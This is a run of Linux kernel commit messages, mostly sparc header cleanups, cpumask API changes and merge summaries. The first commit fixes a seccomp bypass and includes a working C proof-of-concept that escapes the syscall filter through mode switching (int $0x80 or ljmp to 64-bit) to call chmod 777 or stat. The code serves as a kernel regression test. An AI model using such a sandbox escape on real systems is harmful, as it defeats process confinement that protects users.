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On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
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Signed-off-by: David S. Miller <davem@davemloft.net>
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It all lives in the oprofile support code currently and we will need
to share this stuff with NMI watchdog and perf_counter support.
Signed-off-by: David S. Miller <davem@davemloft.net>
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Add swab.h to kbuild.asm and remove the individual entries from
each arch, mark as unifdef as some arches have some kernel-only
bits inside.
Signed-off-by: Harvey Harrison <harvey.harrison@gmail.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
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git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip
* 'core-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip:
sparc64: Fix cpumask related build failure
smp_call_function_single(): be slightly less stupid, fix
smp_call_function_single(): be slightly less stupid
rcu: fix bug in rcutorture system-shutdown code
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cpumask_of_pcibus() was missing - this triggers on NUMA builds.
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
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Fix a 32-bit sparc regression reported by Robert Reif.
_NSIG_BPW needs to be 32 for 32-bit and 64 for 64-bit
Tested-by: Robert Reif <reif@earthlink.net>
Signed-off-by: David S. Miller <davem@davemloft.net>
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__prom_getchild() and __prom_getsibling() are not used anywhere, so
don't export them.
Signed-off-by: Julian Calaby <julian.calaby@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
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* git://git.kernel.org/pub/scm/linux/kernel/git/davem/sparc-2.6:
sparc64: Work around branch tracer warning.
sparc64: Fix unsigned long long warnings in drivers.
sparc64: Use unsigned long long for u64.
sparc: refactor code in fault_32.c
sparc64: refactor code in init_64.c
sparc64: refactor code in viohs.c
sparc: make proces_ver_nack a bit more readable
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Signed-off-by: Harvey Harrison <harvey.harrison@gmail.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
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The atomic_t type cannot currently be used in some header files because it
would create an include loop with asm/atomic.h. Move the type definition
to linux/types.h to break the loop.
Signed-off-by: Matthew Wilcox <willy@linux.intel.com>
Cc: Huang Ying <ying.huang@intel.com>
Cc: <linux-arch@vger.kernel.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
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Andrew Morton wrote:
People keep on doing
printk("%llu", some_u64);
testing it only on x86_64 and this generates a warning storm on
powerpc, sparc64, etc. Because they use `long', not `long long'.
Quite a few 64-bit architectures are using `long' for their
s64/u64 types. We should convert them all to `long long'.
Update types.h so we use unsigned long long for u64 and
fix all warnings in sparc64 code.
Tested with an allnoconfig, defconfig and allmodconfig builds.
This patch introduces additional warnings in several drivers.
These will be dealt with in separate patches.
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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* git://git.kernel.org/pub/scm/linux/kernel/git/davem/sparc-2.6: (30 commits)
sparc: Fix minor SPARC32 compile error
sparc: Remove reg*.h from Kbuild
sparc: Clean arch-specific code in prom_common.c
sparc: Kill asm/reg*.h
sparc: Use 64BIT config entry
MAINTAINERS: update sparc maintainer
sparc: unify ipcbuf.h
sparc: Update 64-bit defconfig.
sparc: remove NO_PROC_ID - it is no longer used
sparc: drop get_tbr() in traps.h
sparc: fix warning in userspace header traps.h
sparc: fix warnings in userspace header byteorder.h
sparc: fix warning in userspace header jsflash.h
sparc: unify openprom.h
sparc64: delete unused linux_prom64_ranges from openprom_64.h
sparc: prepare openprom for unification
sparc: remove linux_prom_pci_assigned_addresses from openprom_32.h
sparc: remove ebus definitions from openprom*.h
sparc: unify siginfo.h
sparc: unify ptrace.h
...
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Forgot to commit this in previous change, noticed by
Sam.
Signed-off-by: David S. Miller <davem@davemloft.net>
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As noticed by Sam Ravnborg, these aren't use for anything.
Neither the kernel nor userland make a reference to this
family of header files.
So just get rid of them.
Signed-off-by: David S. Miller <davem@davemloft.net>
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The ony difference is the size of the mode.
sparc has extra padding to compensate for this.
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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get_tbr() has no users in the whole tree -drop it.
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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Fix following warning:
traps.h:23: extern's make no sense in userspace
Add an ifdef __KERNEL__ block that cover the
extern definition and a few related things that neither
is for userspace.
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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Fix following warnings in byteorder.h:
byteorder.h:4: include of <linux/types.h> is preferred over <asm/types.h>
byteorder.h:9: leaks CONFIG_SPARC32 to userspace where it is not valid
byteorder.h:13: leaks CONFIG_SPARC64 to userspace where it is not valid
byteorder.h:14: found __[us]{8,16,32,64} type without #include <linux/types.h>
byteorder.h:47: leaks CONFIG_SPARC64 to userspace where it is not valid
- changed to use include <linux/types.h> as suggested
- use preprocessor defined symbols to distingush between 32 and 64 bit
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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Fix following warnings in jsflash.h:
jsflash.h:11: include of <linux/types.h> is preferred over <asm/types.h>
jsflash.h:24: found __[us]{8,16,32,64} type without #include <linux/types.h>
Fixed by changing the include to <linux/types.h>
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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After the preparational steps the unification was simple.
The linux_prom_pci_registers definition did not look like
it could be unified at first look since the structure is assigned
using prop_getproperty() / of_get_property() so the structure
is assumed to come direct form the prom.
The LINUX_OPPROM_MAGIC was kept even if it is not used by the kernel
on the assumption that userspace may require it.
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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It was not used over the whole tree - so drop it.
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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Align the sparc and sparc64 versions so differences are minimal.
A few data types are changed to better reflect there actual usage.
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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It is not used anywhere in the tree so drop it.
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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Looks like leftovers from the removal of the special ebus layer.
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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Trivial unification where the sparc64 specific
parts are protected using a signle ifdef/endif pair.
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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The two ptrace.h implementations are very alike but
the small differences required two set of ifdef/else/endif pairs.
The definition of reg_window32 could have been shared but
that would have required several updates in sparc32 code as
all printk formatting for example assume it is longs.
sparc_stackf looked like anohter candidate to share if the 32
bit was renamed to sparc_stackf32.
But it contains two pointers in the sparc32 version which would
have been 64 bit in the sparc64 version so it was non-trivial.
Using a set of accessor macros could do the trick if pursued later.
The sparc64 specific definitions are not protected by
ifdef - as it should not be required to do so.
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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With the renamed types in place the unification was straightforward.
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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Renaming a few types to contain a 32 suffix makes the
type names compatible with sparc64 and thus makes sharing
between the two a lot easier.
Note: None of these definitions are expected part of the
stable ABI towards userspace.
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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They were almost identical and with the preapration
patch nothing was needed to be added.
The unified version contains a few sparc64 only definitions
but they are kept as is and not protected by ifdef/endif.
The unified version exports a bit more to userspace then the
32 bit version did.
This is not considered fatal.
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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o add a sparc32 only definition
o fix a few style issues (white space errors etc).
o include compiler.h (for __user)
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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To my suprise struct stat64 was not equal on sparc 32 and sparc64,
so there was really nothing to share here.
Unify the files by adding their respective content to stat.h.
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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Like sparc64 use proper types in struct stat
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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sparc32 does not define __ARCH_WANT_OLD_STAT so
we do not use this structure neither do we support it.
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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The posix types differed so much in their definition
that they are kept in separate blocks.
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip
* 'cpus4096-for-linus-2' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: (66 commits)
x86: export vector_used_by_percpu_irq
x86: use logical apicid in x2apic_cluster's x2apic_cpu_mask_to_apicid_and()
sched: nominate preferred wakeup cpu, fix
x86: fix lguest used_vectors breakage, -v2
x86: fix warning in arch/x86/kernel/io_apic.c
sched: fix warning in kernel/sched.c
sched: move test_sd_parent() to an SMP section of sched.h
sched: add SD_BALANCE_NEWIDLE at MC and CPU level for sched_mc>0
sched: activate active load balancing in new idle cpus
sched: bias task wakeups to preferred semi-idle packages
sched: nominate preferred wakeup cpu
sched: favour lower logical cpu number for sched_mc balance
sched: framework for sched_mc/smt_power_savings=N
sched: convert BALANCE_FOR_xx_POWER to inline functions
x86: use possible_cpus=NUM to extend the possible cpus allowed
x86: fix cpu_mask_to_apicid_and to include cpu_online_mask
x86: update io_apic.c to the new cpumask code
x86: Introduce topology_core_cpumask()/topology_thread_cpumask()
x86: xen: use smp_call_function_many()
x86: use work_on_cpu in x86/kernel/cpu/mcheck/mce_amd_64.c
...
Fixed up trivial conflict in kernel/time/tick-sched.c manually
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Impact: New API
The old topology_core_siblings() and topology_thread_siblings() return
a cpumask_t; these new ones return a (const) struct cpumask *.
Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Signed-off-by: Mike Travis <travis@sgi.com>
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git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux-2.6
Conflicts:
arch/x86/kernel/io_apic.c
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git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux-2.6
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master.kernel.org:/pub/scm/linux/kernel/git/torvalds/linux-2.6
Conflicts:
arch/sparc64/kernel/idprom.c
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git://git.kernel.org/pub/scm/linux/kernel/git/paulus/powerpc
* 'next' of git://git.kernel.org/pub/scm/linux/kernel/git/paulus/powerpc: (144 commits)
powerpc/44x: Support 16K/64K base page sizes on 44x
powerpc: Force memory size to be a multiple of PAGE_SIZE
powerpc/32: Wire up the trampoline code for kdump
powerpc/32: Add the ability for a classic ppc kernel to be loaded at 32M
powerpc/32: Allow __ioremap on RAM addresses for kdump kernel
powerpc/32: Setup OF properties for kdump
powerpc/32/kdump: Implement crash_setup_regs() using ppc_save_regs()
powerpc: Prepare xmon_save_regs for use with kdump
powerpc: Remove default kexec/crash_kernel ops assignments
powerpc: Make default kexec/crash_kernel ops implicit
powerpc: Setup OF properties for ppc32 kexec
powerpc/pseries: Fix cpu hotplug
powerpc: Fix KVM build on ppc440
powerpc/cell: add QPACE as a separate Cell platform
powerpc/cell: fix build breakage with CONFIG_SPUFS disabled
powerpc/mpc5200: fix error paths in PSC UART probe function
powerpc/mpc5200: add rts/cts handling in PSC UART driver
powerpc/mpc5200: Make PSC UART driver update serial errors counters
powerpc/mpc5200: Remove obsolete code from mpc5200 MDIO driver
powerpc/mpc5200: Add MDMA/UDMA support to MPC5200 ATA driver
...
Fix trivial conflict in drivers/char/Makefile as per Paul's directions
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While doing this use standard names for start/end
so we could use definitions straight from asm-generic
for all the typical symbols.
This also allowed us to drop the use of PROVIDE in the linker
script so sprc is less non-standard on this area.
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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Use some preprocessor magic in combination with the
newly introduced CONFIG_BITS to unify module.h.
A few additional symbols are added as they are needed in a follow-up patch
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
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Like cpu_coregroup_map, but returns a (const) pointer.
Compile-tested on sparc64 (defconfig).
Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Signed-off-by: Mike Travis <travis@sgi.com>
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{node,pcibus}_to_cpumask
Impact: New APIs
The old node_to_cpumask/node_to_pcibus returned a cpumask_t: these
return a pointer to a struct cpumask. Part of removing cpumasks from
the stack.
Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Acked-by: David S. Miller <davem@davemloft.net>
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In order to always provide fully synchronized state to the debugger,
we might need to do a synchronize_user_stack().
A pair of hooks, arch_ptrace_stop_needed() and arch_ptrace_stop(),
exist to handle this kind of situation. It was created for
the sake of IA64.
Use them, to flush the kernel side cached register windows
to the user stack, when necessary.
Signed-off-by: David S. Miller <davem@davemloft.net>
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Impact: cleanup
Each SMP arch defines these themselves. Move them to a central
location.
Twists:
1) Some archs (m32, parisc, s390) set possible_map to all 1, so we add a
CONFIG_INIT_ALL_POSSIBLE for this rather than break them.
2) mips and sparc32 '#define cpu_possible_map phys_cpu_present_map'.
Those archs simply have phys_cpu_present_map replaced everywhere.
3) Alpha defined cpu_possible_map to cpu_present_map; this is tricky
so I just manipulate them both in sync.
4) IA64, cris and m32r have gratuitous 'extern cpumask_t cpu_possible_map'
declarations.
Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Reviewed-by: Grant Grundler <grundler@parisc-linux.org>
Tested-by: Tony Luck <tony.luck@intel.com>
Acked-by: Ingo Molnar <mingo@elte.hu>
Cc: Mike Travis <travis@sgi.com>
Cc: ink@jurassic.park.msu.ru
Cc: rmk@arm.linux.org.uk
Cc: starvik@axis.com
Cc: tony.luck@intel.com
Cc: takata@linux-m32r.org
Cc: ralf@linux-mips.org
Cc: grundler@parisc-linux.org
Cc: paulus@samba.org
Cc: schwidefsky@de.ibm.com
Cc: lethal@linux-sh.org
Cc: wli@holomorphy.com
Cc: davem@davemloft.net
Cc: jdike@addtoit.com
Cc: mingo@redhat.com
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Use sparc64 version of scatterlist.h.
There are three main differences:
dma_addr_t replaces __u32
dma_address replaces dvma_address
dma_length replaces dvma_length
dma_addr_t is a u32 on sparc32.
Boot tested on sparc32.
Signed-off-by: Robert Reif <reif@earthlink.net>
Signed-off-by: David S. Miller <davem@davemloft.net>
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